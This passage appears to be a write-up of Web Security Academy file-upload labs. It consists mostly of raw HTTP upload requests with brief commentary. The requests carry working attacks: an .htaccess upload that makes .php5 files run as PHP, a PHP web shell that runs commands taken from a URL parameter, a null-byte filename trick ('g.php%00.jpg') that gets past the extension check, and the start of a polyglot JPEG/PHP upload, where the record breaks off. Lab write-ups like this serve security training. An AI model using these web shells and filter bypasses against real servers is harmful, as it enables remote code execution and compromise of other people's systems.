POST /my-account/avatar HTTP/2 Host: 0a0a0000046c479bb1f91b59004c00e3.web-security-academy.net Cookie: session=baOKhHiy9pLbkt0G2eqz89gCiUeunun7 Content-Length: 460 Cache-Control: max-age=0 Sec-Ch-Ua: “Chromium”;v=”139”, “Not;A=Brand”;v=”99” Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: “Linux” Accept-Language: en-US,en;q=0.9 Origin: https://0a0a0000046c479bb1f91b59004c00e3.web-security-academy.net Content-Type: multipart/form-data; boundary=—-WebKitFormBoundaryHDsFjQ34DkoVXjQr Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://0a0a0000046c479bb1f91b59004c00e3.web-security-academy.net/my-account?id=wiener Accept-Encoding: gzip, deflate, br Priority: u=0, i
——WebKitFormBoundaryHDsFjQ34DkoVXjQr Content-Disposition: form-data; name=”avatar”; filename=”.htaccess” Content-Type: application/octet-stream
AddType application/x-httpd-php .php5
——WebKitFormBoundaryHDsFjQ34DkoVXjQr Content-Disposition: form-data; name=”user”
wiener ——WebKitFormBoundaryHDsFjQ34DkoVXjQr Content-Disposition: form-data; name=”csrf”
Y1spPwmXtOntmDaseTeMYdv1mPOS3NDg ——WebKitFormBoundaryHDsFjQ34DkoVXjQr–
Next, we upload our payload with a .php5 extension and boom we get RCE on the server: <?php echo system($_GET['command']); ?>
Lab: Web shell upload via obfuscated file extension
Sorry, only JPG & PNG files are allowed Sorry, there was an error uploading your file. Ok good to know.
POST /my-account/avatar HTTP/2
Host: 0a8000af03d6c7e1821b339600ed0026.web-security-academy.net
Cookie: session=X2ThP2DlS91Yx47zDPjPWtg9BcJWxW5j
Content-Length: 463
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Origin: https://0a8000af03d6c7e1821b339600ed0026.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQ4XHfHC9t9ACHhjH
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a8000af03d6c7e1821b339600ed0026.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
------WebKitFormBoundaryQ4XHfHC9t9ACHhjH
Content-Disposition: form-data; name="avatar"; filename="g.php%00.jpg"
Content-Type: application/octet-stream
<?php echo system($_GET['command']); ?>
------WebKitFormBoundaryQ4XHfHC9t9ACHhjH
Content-Disposition: form-data; name="user"
wiener
------WebKitFormBoundaryQ4XHfHC9t9ACHhjH
Content-Disposition: form-data; name="csrf"
eYt11HDxuMZpACYaOOy4FRbA8g9Nt058
------WebKitFormBoundaryQ4XHfHC9t9ACHhjH--
Once again using null byte worked to bypass checks: g.php%00.jpg
Lab: Remote code execution via polyglot web shell upload
Error: file is not a valid image Sorry, there was an error uploading your file.
POST /my-account/avatar HTTP/2
Host: 0a4f0040045efc73dbbb28f5002e00b6.web-security-academy.net
Cookie: session=hA1C1qWaBtnmelb5bQytoeYTgiqVIBCs
Content-Length: 1480
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Origin: https://0a4f0040045efc73dbbb28f5002e00b6.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydgORNpkDoBXlTYrg
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a4f0040045efc73dbbb28f5002e00b6.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
------WebKitFormBoundarydgORNpkDoBXlTYrg
Content-Disposition: form-data; name="avatar"; filename="7.php"
Content-Type: application/x-php
ÿØÿà JFIF d d ÿì Ducky <